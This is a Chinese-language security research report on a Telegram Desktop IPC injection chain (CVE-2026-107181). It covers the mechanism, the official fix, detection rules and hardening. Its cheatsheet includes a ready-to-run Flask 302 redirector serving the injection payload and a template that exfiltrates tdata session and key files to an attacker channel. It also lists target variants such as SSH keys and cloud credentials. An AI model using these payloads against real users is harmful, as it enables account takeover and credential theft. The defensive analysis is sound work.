CVE-2026-107181 研究报告:Telegram Desktop 一键账户接管(IPC 记录注入链)
研究对象:BeakSec 公开披露的 Telegram Desktop 单实例 IPC 注入漏洞链(CVE-2026-107181,原文 "Telegram Desktransform: translateY( one-click account takeover via IPC injection",CC BY 4.0)
审计方法:披露原文全篇精读 + 对 telegramdesktop/tdesktop 官方仓库的独立一手核验(修复提交 db3405699f、v7.2.9 标签、修复前后源码逐行比对)+ OS/Qt 机制推理
报告日期:2026-10-09
写作规范:writing-helper(写给授权红队/蓝队成员的桌面研究报告;正式技术体;事实优先;证据边界显式声明)
证据分级约定:【披露】= 来自 BeakSec 原文(含其对 Telegram 源码的引用);【已核验】= 本报告直接在官方仓库一手确认;【推断】= 基于 Win32/Qt 公开机制的标准推理;【未核验】= 明确标注。全文没有一个未标注的"事实"。
0. TL;DR
这不是"工具",是一条从一次点击到账户接管的完整漏洞链,两个缺陷首尾相接:
1. 记录分隔符未转义(IPC 注入):Telegram Desktop 的单实例机制把点击的链接序列化成 OPEN:tg://...;格式的文本行,经本地 socket 交给已运行实例;已运行实例按分号切割记录。链接值里的分号不被转义——一条指令变多条。一次点击变成一串命令。2. 内部 URI scheme interpret:缺失鉴权(CWE-862):这是 Telegram 官方发布自动化的遗留工具——读一个指令文件,把file:指定的任意文件发送到channel:指定的频道,不校验调用者、不弹确认。经OPEN:可达。
两个缺陷叠加 = 点击一个链接 → 任意本地文件读取 → 文件被传到攻击者的频道。最终目标:tdata/ 里的三件套——默认无本地口令时,读到 key_datas 即可解出 DEK,进而解密会话授权,直接登录受害者账号。
已核验:修复提交 db3405699f8fc3ae28a58d2348b7d13a43c0590a("Remove legacy interpret path helper.",John Preston,2026-09-16)真实存在,diff +126/−372;v7.2.9 中 interpret 在四个核心源文件中残留为 0;新增 EscapeTo7bit/EscapeFrom7bit 百分号转义与"外部 URL 出现后丢弃本地路径"的纵深防御。CVSS 8.1(AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N),分量给得诚实。
1. 对象定性:名字里的三层寓意
1.1 先定性
研究对象由三部分组成:披露文章(BeakSec 博客)、漏洞链(CVE-2026-107181)、官方修复(tdesktop commit db3405699f)。没有可下载的"攻击工具"——PoC 以叙事形式写在披露文里,载荷就是一行 URL。审计框架因此与扫描器/C2 完全不同:核验链条每一环的代码证据。
1.2 名字寓意(三层解码)
第一层:CVE 编号。CVE-2026-107181——2026 年分配,五位数序号说明当年分配量已过十万(编号空间扩张本身就是近年漏洞生态的注脚)。编号 10-07 才到,晚于发文(10-03)——披露先于编号,这是"研究者独立披露权"路径(ZDI 关案后披露权回归作者)的典型时间差。
第二层:interpret: 这个 scheme 名。 它是全链条最有意思的名字:不是黑客起的,是 Telegram 自己起的。interpret = "解释/执行",语义是"解释这份指令文件并执行"——函数名如实描述了行为的危险程度,危险到名字就是警告。它是官方发布脚本(Telegram/build/updates.py:206,subprocess.call(... 'Telegram -sendpath interpret://' + scriptPath + '/.../command.txt')【披露】)的遗留通道:发版机器人用它把构建产物发到官方频道。作者删它而不是修它——commit 标题 "Remove legacy interpret path helper" 里 "legacy" 一词就是判决书。
第三层:one-click account takeover。 "one-click" 在漏洞分类学里对应 CVSS 的 UI:R(需要用户交互)——标题在告诉你这漏洞的最高门槛就是受害者的一次点击。而账户接管的物证是 tdata 三件套,三个文件名本身就是梗:D877F783D5D3EF8C 这个"看似随机"的目录名其实是从字符串 "data" 经固定算法派生的全宇宙恒定值(storage_file_utilities.cpp:241-250【披露】)——换个说法:所有 Telegram Desktop 用户的会话文件都在同一条路径上。
1.3 受影响面
db3405699f,2026-09-16 修复,9-17 发布)【已核验】 | |
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N【披露】 |
2. 为何诞生:一个"发布工具"怎么变成攻击通道
interpret: 的诞生动机是纯粹的工程懒惰红利:Telegram 每次发版要把构建包+更新日志发到官方频道,人肉操作太繁琐,于是写个文本协议(from:/channel:/file:/caption: 四行),让 Telegram 自己解释执行。这个设计在命令行调用的前提下没有问题——能用命令行的攻击者本来就有本机权限,不需要借道。
它的死因是上下文迁移:同一个无鉴权函数,从"本机运维通道"被接到了"网络可达的 IPC 面",威胁模型瞬间反转。加上单实例 IPC 的分隔符注入作为"入口导线",一次点击就能触达。作者在披露文里对这层关系的定性精确到位:"a dangerous function becomes available from a link the victim clicks"。
披露时间线(全部【披露】,修复方信息【已核验】):
db3405699f,作者 John Preston,信息 "Remove legacy interpret path helper.")【已核验】 | |
一个值得记录的细节:修复在 ZDI 流程走完前就"悄悄"落地,7.2.9 更新日志只字未提安全修复,无 advisory——对用户是提前安全,对研究者是披露权提前回归,两头的博弈都在这张时间表里。
3. 漏洞原理:八层抽丝剥茧
3.1 L1 URI scheme 注册与进程模型——操作系统怎么把链接送到 Telegram
OS 允许程序注册 URI scheme。Telegram Desktop 注册 tg:,此后 Windows 遇到 tg://... 链接就启动(或唤起)Telegram 并把 URL 作为参数传入【披露】。机制层【推断】:注册表 HKEY_CLASSES_ROOT\tg\shell\open\command 下形如 "C:\...\Telegram.exe" -- "%1" 的映射;浏览器对 tg:// 链接的导航 → shell ShellExecute → CreateProcess 把 URL 塞进新进程命令行。
关键分叉:如果 Telegram 没在运行,新进程自己处理 URL,进程内消化,没有 IPC 面;如果已在运行,OS 不知道也不检查,照样拉起第二个进程——Telegram 必须自己判断"我是冗余的",判断方式就是尝试连接本地 socket。连得上 = 有活着的实例 = 把链接交出去然后自杀。
3.2 L2 序列化边界——对象过不了 socket,字节才能
"socket 不携带对象,只携带字节"【披露】。新进程内存里的 QUrl 对象必须拍扁成一行文本(序列化)才能过进程边界;运行实例再从文本重建(反序列化)。披露文把要害点得极准:结构化数据跨界时,数据内部的边界不再由结构持有,而降格成了文本里的普通字符。这一降格就是全链路的总根源。
Telegram 的私有格式:每条记录 = 关键字:参数;。链接被包装为:
OPEN:tg://x?a=1;构造点(sandbox.cpp:295-297【披露】):
for (const auto &url : cRefStartUrls()) {
commands += u"OPEN:"_q + url.toString(QUrl::FullyEncoded) + ';';
}【已核验】修复前源码中该模式确认存在;修复后对应行为被 EscapeTo7bit 包裹(见 §6.2)。
3.3 L3 记录注入——"命令注入"的 IPC 变体
切割点(sandbox.cpp:453-463【披露】,修复前快照实测约 520 行【已核验,行号漂移见 §6.1 脚注】):
for (int32 to = cmds.indexOf(QChar(';'), from); to >= from; ...) {
auto cmd = base::StringViewMid(cmds, from, to - from);
...
} else if (cmd.startsWith(u"OPEN:"_q)) {
startUrls.append(cmds.mid(from + 5, to - from - 5).mid(0, 8192));注入演示(【披露】原例):
输入链接: tg://x?a=1;CMD:quit
新进程视角: 一个 URL(分号只是 query 里的普通字符)→ 写入 socket:
OPEN:tg://x?a=1;CMD:quit;
运行实例切割: OPEN:tg://x?a=1 + CMD:quit ← 两条记录缺陷命名学:这是教科书 command injection 的近亲——本报告称之 IPC 记录注入。准确 CWE 归类是 CWE-147(Improper Neutralization of Input Elements for Selecting Commands or Subsequent Text,即"分隔符未转义"类)。修复后代码注释自己承认了这个威胁模型:"the sender failed to escape the record separator and a crafted url smuggled extra records"【已核验,v7.2.9 sandbox.cpp 注释】。
本报告独立发现的一条补充【已核验】:修复前的记录关键字不止 OPEN:/CMD: 两个,还有:
• XDG_ACTIVATION_TOKEN:——base64 解码后qputenv写入进程环境变量(Linux 激活令牌);• CTRL:——带execExternal/响应回写的控制记录。
即注入面比披露文描述的更宽;只是 Windows 攻击链用不上它们。
3.4 L4 无 scheme 过滤的 OPEN: → 内部 scheme 暴露
四个记录关键字里三个无害(CMD: 只收 show/quit,最坏是关掉应用【披露】),OPEN: 收任意 URL 且不过滤 scheme。而 Telegram 内部还藏着一个 OS 不知道的 scheme(application.cpp:1162-1164【披露】;修复前快照实测 1231-1237【已核验】):
if (url.scheme() == u"interpret"_q) {
interprets.append(url.path());
return false;它没在 OS 注册协议处理器,只活在 Telegram 自己的启动 URL 分发逻辑里。于是经注入可达:
tg://x?a=1;OPEN:interpret:instructions.txt3.5 L5 InterpretSendPath——缺失授权的特权动作
这个函数做的事:读指令文件 → 把 file: 指的文件发到 channel: 指的频道(support_helper.cpp:673-680【披露+已核验,逐字一致】):
QString InterpretSendPath(
not_null<Window::SessionController*> window,
const QString &path) {
QFile f(path);
if (!f.open(QIODevice::ReadOnly)) {
return "App Error: Could not open interpret file: " + path;
}
const auto content = QString::fromUtf8(f.readAll());没有任何授权检查:不校验 from:(那行只是防发版员用错账号的可选保险,省略即跳过【披露】)、不弹确认框、目标频道任意。从命令行调它无妨(有本机权限者不需要它);从被注入的 IPC 调它,就是网络可达的任意文件外传。第二缺陷定性:CWE-862(Missing Authorization)。
指令文件格式(【披露】原样):
from: 1234567890 ← 可选;省略 = 跳过账号比对
channel: 1987654321 ← 目标频道/超级群
file: out/Release/deploy/6.9.3/tsetup.6.9.3.exe ← 要外传的文件
caption: TDesktop at 12.06.26: ... ← 消息标题格式硬约束:纯文本、LF 行尾、无 BOM【披露】——这是写复现与检测规则时的关键指纹。
3.6 L6 文件落盘通道——让受害者的客户端替攻击者投递载荷
interpret: 需要一个磁盘上的指令文件。攻击者怎么把文件放到可预测路径?答案是用 Telegram 自己:
• 群组(非广播频道)默认自动下载 ≤ 8 MiB 的文件,不需要受害者点击文件,落盘名 = 发送者起的文件名,路径确定(file_utilities.cpp:172-181【披露】): C:\Users\<user>\Downloads\Telegram Desktop\<file name>• 唯一未知量是 Windows 用户名——被相对路径化解: interpret:接受相对路径,按 Telegram 的工作目录解析,而工作目录是其数据目录(logs.cpp:381【披露】)%APPDATA%\Telegram Desktop(在用户主目录下三层)。于是:
interpret:../../../Downloads/Telegram%20Desktop/instructions.txt不需要知道用户名,路径完全确定。这一层是全链路工程上最优雅的一步:受害者自己的客户端同时充当了"载荷投递器"和"路径预言机"。注意反例边界【披露】:贴纸/GIF/语音走内部缓存不可达;同名碰撞会变成 instructions1 (2).txt。
3.7 L7 从文件读到账户接管——tdata 密钥包装体系
本地文件读只是原语,真正的目标是会话。Telegram 本地数据全加密,密钥包装结构(【披露】的伪代码):
salt, encrypted_DEK = read("tdata/key_datas")
passcode = user_passcode() # 未设置则为空
KEK = KDF(passcode, salt)
DEK = decrypt(encrypted_DEK, KEK)
session = decrypt(authorization_file, DEK)致命默认:本地口令默认未设置(storage_domain.cpp:102【披露】),KDF 输入是空串+盐,而盐明文躺在 key_datas 里。所以:
读到 key_datas ⇒ 重算 KEK ⇒ 解出 DEK ⇒ 解密一切 ⇒ 含会话授权三件套(【披露】原样):
tdata/
├── key_datas 盐 + 加密的 DEK ← 读它一个就够
├── D877F783D5D3EF8Cs MTProto 会话授权(DEK 加密)
└── D877F783D5D3EF8C/
└── maps 数据索引(无密文,但缺了会话加载不出来)D877F783D5D3EF8C 是从默认数据名 "data" 派生的恒定值(storage_file_utilities.cpp:241-250【披露】)——所有安装一致,路径预言机再+1。maps 只是索引,攻击者也可以自造;PoC 里顺手一起偷,图省事。集齐三件 → 放进新 tdata → 启动 → 受害者的会话在攻击者机器上打开,等价于网站会话 cookie 被偷。
3.8 L8 交付链——为什么是"https 链接 + 302"
最后一个工程问题:tg:// 链接不能在 Telegram 聊天里点(进程内处理,click_handler_types.cpp:278【披露】),根本到不了 socket。解法:发普通 https:// 链接(Telegram Desktop 无内嵌浏览器,走系统浏览器,ui_integration.cpp:437【披露】),攻击者服务器 302 跳转到构造好的 tg:// 链接:
GET /rules HTTP/1.1
Host: corvus.sec
HTTP/1.1 302 Found
Location: tg://x?a=1;OPEN:interpret:instructions.txt浏览器可能弹一次"打开 Telegram?"确认(取决于浏览器与是否用过该 handler)——这就是 CVSS 里 UI:R 的一次点击成本。
完整链条图:
[1] 攻击者建群+拉受害者入群(默认隐私设置允许)
[2] 群里发 3 个指令文件(自动下载落盘,无需点击)
[3] 群里发 https://corvus.sec/rules
[4] 受害者点击 → 浏览器 → 302 → tg://x?a=1;OPEN:interpret:...×3
[5] OS 拉起第二进程 → 单实例 socket 移交 → 分号切割 → 注入生效
[6] 3×InterpretSendPath → tdata 三件套上传到攻击者频道(无确认框)
[7] 攻击者重组 tdata → 登录受害者账号4. 操作系统调用层分析(Windows 为主)
披露原文停在 Qt API 层,本节把链条映射到 OS 原语【推断——基于 Win32/Qt 公开机制,未做动态取证,复现时以 Sysmon/Procmon 实测为准】:
tg:// | QDesktopServices | HKCR\tg\shell\open\command → ShellExecuteEx → CreateProcess(URL 在命令行参数里,Sysmon EID 1 可见) | tg:// 且父进程为浏览器 |
QLocalServer/QLocalSocket | CreateNamedPipeCreateFile(\\.\pipe\...) + ReadFile/WriteFile | ||
QIODevice::write | WriteFile | OPEN: 前缀与未转义分号 | |
QFile::open(ReadOnly) | CreateFileReadFile(目标在 Downloads\Telegram Desktop\) | ||
GetCurrentDirectory../.. | |||
CreateFileDownloads\Telegram Desktop\)+ WriteFile | |||
WSASend |
两个安全机制为何没拦住:cwd 相对路径在 Win32 层面是完全合法的目录遍历(不触碰盘符根,不触发符号链接防护);命名管道是同用户会话内进程间通信,默认 ACL 下同完整性级别的 Telegram 两个进程互通无阻——沙箱边界从设计上就不存在于"自己和自己"之间。
5. 漏洞类型与 CVSS 审视
CWE 归类(本报告裁定):
| CWE-147 | ||
| CWE-862 | ||
CVSS 3.1 = 8.1(AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N)——逐分量裁定:
• AV:N✓:入口是网络链接(点击行为,非本机)。• AC:L✓:无竞态、无特殊配置依赖,全默认设置即可打。• PR:N✓:不需要任何凭据。• UI:R✓:需要一次点击——诚实扣在这里。• S:U✓:影响限于受害者本人权限域。• C:H✓:任意文件读 + 会话文件 = 高机密性损失。• I:H✓:账户接管 = 攻击者以受害者身份发言/操作——完整性损失实打实。• A:N✓:不破坏可用性——诚实(对比上份报告里 mysqldump 8.8 的 C:H/I:H 争议,这次的分量给得干净)。
6. 源码审计:修复 diff 逐行点评(一手核验)
6.1 核验过程与行号脚注
本报告直接从官方仓库拉取修复提交的父提交(db3405699f^)与 v7.2.9 标签源码比对【已核验】。披露文引用的行号与修复前快照存在小幅漂移(sandbox.cpp 453→约520、application.cpp 1162→1231;support_helper.cpp 673 完全一致)——披露作者看的是另一版快照,代码内容逐字一致,不影响结论。
修复提交变更面:application.cpp(+2/−7)、sandbox.cpp(+114/−25)、sandbox.h(+5/−1)、mainwidget.*、mainwindow.*(interpret 分发移除),合计 +126/−372;interpret 在四个核心文件中归零【已核验】。
6.2 修复一:记录转义(对症 CWE-147)
新增 EscapeTo7bit/EscapeFrom7bit(v7.2.9 sandbox.cpp:67-108【已核验】):
[[nodiscard]] QString EscapeTo7bit(const QString &value) {
...
if (code < 32 || code > 127 || ch == QChar('%') || ch == QChar(';')) {
result.append('%');
result.append(HexDigit(code >> 12)); // 4 位 hex,Unicode 码点级
...三个值得点评的实现决策:
1. ;与%同时转义——只转义分隔符会留下解码歧义(攻击者预放%3B可在解码后重新变成分号),转义转义符本身是编码注入修复的标准姿态;2. 4 位定长 hex(而非变长 %XX)——Unicode 码点无歧义还原,surrogate 对也安全;3. 控制字符一并转义( code < 32)——顺手封死\n类二次注入。
写侧:"OPEN:" + EscapeTo7bit(url...) + ';'(sandbox.cpp:416);读侧:urls.append(EscapeFrom7bit(cmd.mid(5)).mid(0, 8192))(sandbox.cpp:601)。8192 上限保留——原有截断语义不变。
6.3 修复二:删除 interpret:(对症 CWE-862)
InterpretSendPath 及 interpret 分发整体移除("Remove legacy interpret path helper")——不修死,直接埋葬。对"内部遗留工具被网络化"类缺陷,这是唯一正解:任何"加白名单/加确认框"的修法都会在未来的上下文迁移中再死一次。
6.4 修复三/四:纵深防御(超出披露要求的加分项)
v7.2.9 sandbox.cpp:613-631【已核验】,含作者注释:
} else if (cmd.startsWith(u"CTRL:"_q)) {
if (hasOpen) {
continue; // 同连接混入 OPEN: 时丢弃 CTRL:
}
...
// A link launch carries a single non-file url and a send-files
// launch carries only local paths, so a connection mixing both
// means the sender failed to escape the record separator and a
// crafted url smuggled extra records. ...
for (constauto &url : urls) {
if (!url.isLocalFile()) {
i->externalUrlReceived = true;
}
}
...
if (i->externalUrlReceived && url.isLocalFile()) {
LOG(("Sandbox Warning: local file dropped, ...")); // 外部 URL 出现后,本地路径永久丢弃
continue;注释把不变量写明白了:正常启动要么单外链、要么纯本地路径,混合出现 = 分隔符被走私。这是把"协议不变量监控"做成了运行时防线——即使未来再出现转义旁路,注入产物也到不了文件路径参数。安全工程里少见的自我怀疑式防御,值得抄进任何多记录 IPC 协议的设计规范。
6.5 审计结论
修复四件套(转义 + 删除 + CTRL 门禁 + 本地路径丢弃)构成"对症 + 根治 + 两层纵深"的完整闭环,质量高于一般厂商补丁。遗留面:XDG_ACTIVATION_TOKEN: 记录仍是 base64→环境变量注入(本报告发现,披露未提),修复未动它——Linux 场景的后续观察点。
7. 前世今生:同类谱系与历史定位
IPC/协议处理器注入家族:桌面应用自定义 scheme(tg:///slack:///zoommtg:///steam://)作为"浏览器→本地应用"桥,近十年的经典缺陷类是命令行参数注入(scheme 值未转义拼进命令行)与单实例移交注入(本次即此类)。检索关键词:custom URL protocol handler argument injection、single-instance IPC injection。本例的特殊性在于第二跳:注入点后面接的不是"参数注入进子命令",而是一个货真价实的特权内部功能。
"遗留内部功能被网络化"家族:debug 接口、发布通道、运维后门被接到可达面——Redis 未授权写、Jenkins CLI、devtools 端口。interpret: 是这个家族里少见的"以 URI scheme 形态存在"的样本。
本地会话凭据窃取家族:浏览器 Cookie 数据库(DPAPI 解密)、SSH agent 转发滥用、Telegram tdata——本链属于最后者,且是远程化版本:传统 tdata 窃取需要本机落地(红队后渗透),这条链把它变成"一次点击的远程攻击"。这是它在 MITRE ATT&CK 里的定位【本报告映射,推断】:
8. 落地实网攻防
8.1 红队(授权演练视角)
• 前置:自建频道/超级群 + 302 服务器;目标使用 ≤7.2.8 且群组自动下载默认开启。 • 与钓鱼框架的接缝:Gophish/GoMet 类框架的 302 跳转模块原生支持本链——把 Location:换成构造 URL 即可;GoPhish 的邮件场景同样适用。• 目标变体(同一原语换 file:行):SSH 私钥、浏览器凭据库、云 CLI 凭据(~/.aws/credentials)、CI token 配置。• 纪律:仅授权环境;链路含真实账户接管,演练需书面授权与演练后凭证吊销流程。
8.2 蓝队
检测点(对应 §4 表):
1. Sysmon EID 1:浏览器进程创建 Telegram.exe 且命令行含 tg://且 URL 带%3B/未编码分号序列——强 IOC;2. Sysmon EID 11: Downloads\Telegram Desktop\落地.txt且秒级被 Telegram 进程读取(EID 10/进程+文件访问);3. 管道异常:Telegram 进程间单实例管道上的多记录写入(Procmon Filter: Path contains \pipe\+ Telegram.exe);4. 网络侧:点击后秒级、小体积、多对象的 MTProto 上行突发; 5. 终态 IOC:陌生设备登录告警(会话被克隆的必然残留)。
加固四条(披露原文的缓解排序,本报告认可):
1. 升级 ≥7.2.9——唯一根治; 2. 开启"每个文件询问保存位置"——自动下载整体关闭,指令文件落不了地(升级前最有效); 3. 群组隐私设为"仅联系人可拉群"——外传目的地(频道/超级群)不受影响,但收件入口被锁; 4. 设置本地口令且当真密码用——文件照样被偷,但 KEK 推导失效,偷到的会话是密文废纸(披露原话:"it only makes the stolen session unusable")。
应急响应(已中招):所有活跃会话终止(Settings→Devices→Terminate)+ 两天内重置口令(Telegram 两步验证重置会踢会话)+ 排查外传目标频道内容。
9. 冷门但准确无误的命令语法(本链条相关面)
start "" "tg://x?a=1" | |
reg query HKCR\tg\shell\open\command /ve | %1 位置决定注入面) |
reg query "HKCU\Software\Classes\tg" | |
Get-ChildItem \\.\pipe\ | |
pipelist64.exe | |
curl -sI https://host/path | Location: 头即载荷——红队自检/蓝队巡检两用 |
%20 | Telegram%20Desktop 路径写法的出处(QUrl::FullyEncoded 语义) |
%3B | |
printf 'channel: ...\nfile: ...\n' | unix2dos | 反面教材 |
wmic process where "name='Telegram.exe'" get commandline | |
$env:APPDATA\Telegram Desktop\tdata | |
Sysmon EID 1/3/11 | |
Get-Content key_datas -Encoding Byte -TotalCount 16 |
10. Cheatsheet:命令配方(参数 = 可编程功能模块)
10.1 模块映射总表
tg:// | ||
OPEN: | ||
from:channel:/file:/caption: | ||
../../../Downloads/... | ||
Location: | ||
10.2 配方(授权研究语境)
R1 · 防御侧版本与暴露面盘点
# 受害主机快速体检(防御用途)
(Get-Item "$env:APPDATA\Telegram Desktop\Telegram.exe" -EA SilentlyContinue).VersionInfo.ProductVersion
reg query HKCR\tg\shell\open\command /ve
Test-Path "$env:APPDATA\Telegram Desktop\tdata\key_datas" # 存在即默认口令风险面R2 · scheme 链路自检(红蓝通用)
start "" "tg://x?a=1" # 观察: 已运行实例被唤起/新进程秒退
wmic process where "name='Telegram.exe'" get commandline,creationdate
# 防御判定: 命令行含完整 URL = 单实例移交机制在位(7.2.9 前后均如此)R3 · 注入载体格式验证(不发真实指令文件)
无害探针(对测试机): tg://x?a=1;CMD:show
# 7.2.8: 实例被激活(show 窗口前置) → 证明分号走私生效
# 7.2.9+: 转义后整串作为 URL 处理 → 无前置行为R4 · 指令文件格式校验器(复现前自检)
f=instructions.txt
file "$f" | grep -q BOM && echo "FAIL: 有BOM"
od -c "$f" | grep -q '\\r' && echo "FAIL: CRLF"
head -c4 "$f" | od -An -tx1 | grep -q 'ef bb bf' && echo "FAIL: UTF-8 BOM"
grep -E '^(channel|file|caption):' "$f" >/dev/null && echo OKR5 · 302 投递器(5 行 Flask)
from flask import Flask, redirect
app = Flask(__name__)
PAYLOAD = "tg://x?a=1" + "".join(
f";OPEN:interpret:../../../Downloads/Telegram%20Desktop/{n}.txt"
for n in ("instructions1","instructions2","instructions3"))
@app.route("/rules")
def r(): return redirect(PAYLOAD, 302)
app.run(":443", ssl_context=("cert.pem","key.pem"))R6 · Sysmon 检测规则(核心两条)
<!-- EID1: 浏览器拉起 Telegram 且 URL 含走私分号 -->
<RuleGroup name="" groupRelationship="or">
<ProcessCreate onmatch="include">
<Image condition="end with">Telegram.exe</Image>
<CommandLine condition="contains">tg://</CommandLine>
</ProcessCreate>
</RuleGroup>
<!-- EID11: Telegram Desktop 下载目录新建 .txt -->
<FileCreate onmatch="include">
<TargetFilename condition="contains">Downloads\Telegram Desktop\</TargetFilename>
<FileExtension condition="is">txt</FileExtension>
</FileCreate>R7 · 管道流量取证
Get-ChildItem \\.\pipe\ | Where-Object Name -match telegram
# Procmon: Filter Path contains \pipe\, Operation = WriteFile → 双进程移交现场R8 · 多目标堆叠模板(授权演练,3 文件版)
载荷 = "tg://x?a=1"
+ ";OPEN:interpret:../../../Downloads/Telegram%20Desktop/ins1.txt"
+ ";OPEN:interpret:../../../Downloads/Telegram%20Desktop/ins2.txt"
+ ";OPEN:interpret:../../../Downloads/Telegram%20Desktop/ins3.txt"
ins1: file: ../../../tdata/key_datas ← 相对数据目录自身的相对路径亦可(待实测)
ins2: file: ../../../tdata/D877F783D5D3EF8Cs
ins3: file: ../../../tdata/D877F783D5D3EF8C/maps
channel: <授权接收频道>R9 · 溢出边界测试(8192 截断行为)
长路径探针: tg://x?a=1;OPEN:interpret: + 'A'*8300 + '.txt'
判定: >8192 段被 mid(0,8192) 截断 → 路径失效 → 无文件读取
用途: 验证修复/检测规则时排除超长路径假阳性R10 · 应急处置剧本(已中招)
# 1. 受害者全端下线该账号 → Settings → Devices → Terminate all other sessions
# 2. 两步验证口令重置(触发全会话失效)
# 3. 排查上传: 受害者账号的 Sent/频道历史中是否存在 caption=poc 类小文件消息
# 4. 终端侧: 检查 Downloads\Telegram Desktop 下 instruction*.txt 与创建时间线R11 · 蓝队 IOC 速查
- Telegram.exe < 7.2.9 → 版本盘
- 命令行含 tg:// 且含未编码 ';' → 注入尝试
- Downloads\Telegram Desktop\*.txt 秒读 → 指令文件落地
- 点击后秒级 3-6 KB×N 上行 → 外传突发
- 陌生地域会话登录 → 接管终态R12 · 复现实验台(无受害者,本地双实例)
1. 测试机装 6.9.3(披露确认版本)+ 测试账号 A/B
2. A 建 supergroup 拉 B;A 发 3 个指令文件(channel=A 的群, file=无害占位文件)
3. B 侧开启 Procmon(管道+文件过滤) → B 点 302 链接
4. 观测: 管道 WriteFile 记录序列 / instructions*.txt 的 CreateFile+ReadFile 对
5. 全程录屏留证; 结束后 Terminate 全部会话11. AI 辅助头脑风暴与多版本对比
11.1 投递渠道对比(触发器模块选型)
<a href="tg://"> | ||||
11.2 修复方案四选一(若不删除 interpret:)
| 整体删除 interpret: ★采纳 | 唯一正解 |
官方实际交付 = 删除 + 转义 + 两层纵深——四选二再加保险,这是该补丁值得进教科书的原因。
11.3 AI 辅助在本报告生产中的价值与翻车记录
• 放大深度:EscapeTo7bit "为什么连 % 一起转义"的解码歧义分析、XDG_ACTIVATION_TOKEN 补充发现、修复注释的不变量翻译——机器辅助把 diff 读出了三层。 • 必须人工把关的证据:所有【已核验】项均以官方仓库一手源码为准;披露文行号漂移(453→520 等)由交叉比对发现——引用披露文的行号而不核对源码,报告就会带着别人的偏差。
12. 问题分析、任务拆解、方案迭代与代码交付复盘
本报告生产流水线(可复用模板):
① 对象定性 披露文+PoC链 → 修正审计框架(非工具,是链)
② 一手对证 tdesktop 仓库: 修复提交存在性/作者/日期 → 变更文件清单 → 前后源码逐行比对
③ 机制还原 八层链(OS scheme→IPC序列化→注入→内部scheme→缺鉴权→落盘→密钥包装→交付)
④ OS 映射 Qt 层 → Win32 调用表 + 观测点(Sysmon/ETW/Procmon) —— 全程标注【推断】
⑤ 类型裁定 CWE-147 + CWE-862 双缺陷; CVSS 8.1 逐分量复核(对比上案 8.8 的口径教训)
⑥ 谱系定位 scheme 注入家族 + 遗留功能网络化家族 + tdata 窃取家族 + ATT&CK 映射
⑦ 工程转化 红队链路定位 / 蓝队五检测点 / 四条加固 / 应急剧本 / 12 配方
⑧ 方法沉淀 三对比表(渠道/修复方案/载荷变体) + AI 辅助价值与翻车记录
⑨ 卫生清理 下载物删除(执行记录见文末)修复 commit 的交付质量点评(代码交付能力视角):diff +126/−372——删的比加的多一倍半,是"移除危险面"而非"加补丁堵漏";两处防御逻辑(CTRL 门禁、本地路径丢弃)各带完整注释解释为什么存在(不变量陈述),半年后接手的人不需要考古;无测试配套是唯一扣分项(该类 IPC 行为极适合协议级单测)。
13. 骚操作 Top 10(速览收编)
1. 一次点击 = 一串命令:分号走私让 URL 从"一个值"变"一个队列"。 2. carrier 技巧: tg://x?a=1是不触发任何处理器的心跳载体,纯粹为了把OPEN:顶进队列。3. 受害者客户端 = 攻击者的投递器:群组自动下载(≤8MiB、原名、免点击)解决了"怎么把指令文件放到可预测路径"这个天问。 4. 相对路径免用户名:工作目录=数据目录 → ../../../Downloads把唯一未知量抹掉。5. 省略 from:= 跳过鉴权:可选项成为鉴权旁路——"默认放行"式接口设计的反面教材。6. 恒定目录名 D877F783D5D3EF8C:所有安装同一路径,路径预言机 +1。7. 多分号堆叠:InterpretSendPath 一次一文件 → 三个分号叠出三连发,绕开单文件限制。 8. https 302 绕过进程内点击处理:利用"Telegram 无内嵌浏览器"这个产品事实。 9. 静默修复的披露博弈:changelog 只写渲染修复 → 用户提前安全 + 研究者提前拿回披露权。 10. 官方修复的自觉:把"连接里混入外部 URL 和本地路径 = 走私"写成运行时不变量监控——补丁自带哲学。
14. 证据边界与未决问题
• 披露原文是链条叙事的唯一来源;本报告独立核验了修复提交/标签/前后源码(§6),未做动态复现——R1-R12 配方交付即用,行为观测值以实测为准。 • 行号漂移:披露文引用的 sandbox.cpp:453-463 / application.cpp:1162-1164 与修复前快照实测(约 520 / 1233)不一致,代码内容逐字一致——不同版本快照所致,已标注。 • Windows-only:链路在 Windows 6.9.3 确认【披露】;Linux/macOS 的单实例机制同为 socket 文本协议但路径/自动下载语义不同【未核验】。 • XDG_ACTIVATION_TOKEN:记录(base64→环境变量)为本报告独立发现【已核验:修复前源码存在,v7.2.9 未改动】,其实际攻击面未研究——留作后续课题。• CVE 细节:CVE-2026-107181 于 2026-10-07 分配【披露】,描述文本未独立获取。 • CVSS 8.1 为披露文给出的分量组合【披露】,本报告逐分量复核认可。
15. 参考与出处
研究对象
• BeakSec, Telegram Desktransform: translateY( one-click account takeover via IPC injection, 2026-10-03(CC BY 4.0,本报告引用其叙事与源码摘录均标注【披露】)
官方一手证据(本报告独立核验)
• https://github.com/telegramdesktop/tdesktop 修复提交 db3405699f8fc3ae28a58d2348b7d13a43c0590a("Remove legacy interpret path helper.",2026-09-16,+126/−372)【已核验】• https://github.com/telegramdesktop/tdesktop/tree/v7.2.9 ( EscapeTo7bit/EscapeFrom7bit、externalUrlReceived纵深防御、interpret归零)【已核验】• 修复前快照( db3405699f^):core/sandbox.cpp(分号切割循环/OPEN:8192 截断/XDG_ACTIVATION_TOKEN:)、core/application.cpp(interpret分发)、support/support_helper.cpp:673(InterpretSendPath)【已核验】
关联谱系
• 自定义协议处理器参数注入类(检索关键词: custom URL protocol handler argument injection、single-instance IPC injection)• MITRE ATT&CK:T1566.002 / T1552.001 / T1555 / T1041(本报告映射)
报告完 · 基于公开披露与官方源码的授权研究 · 请勿对未授权系统使用文中任何技术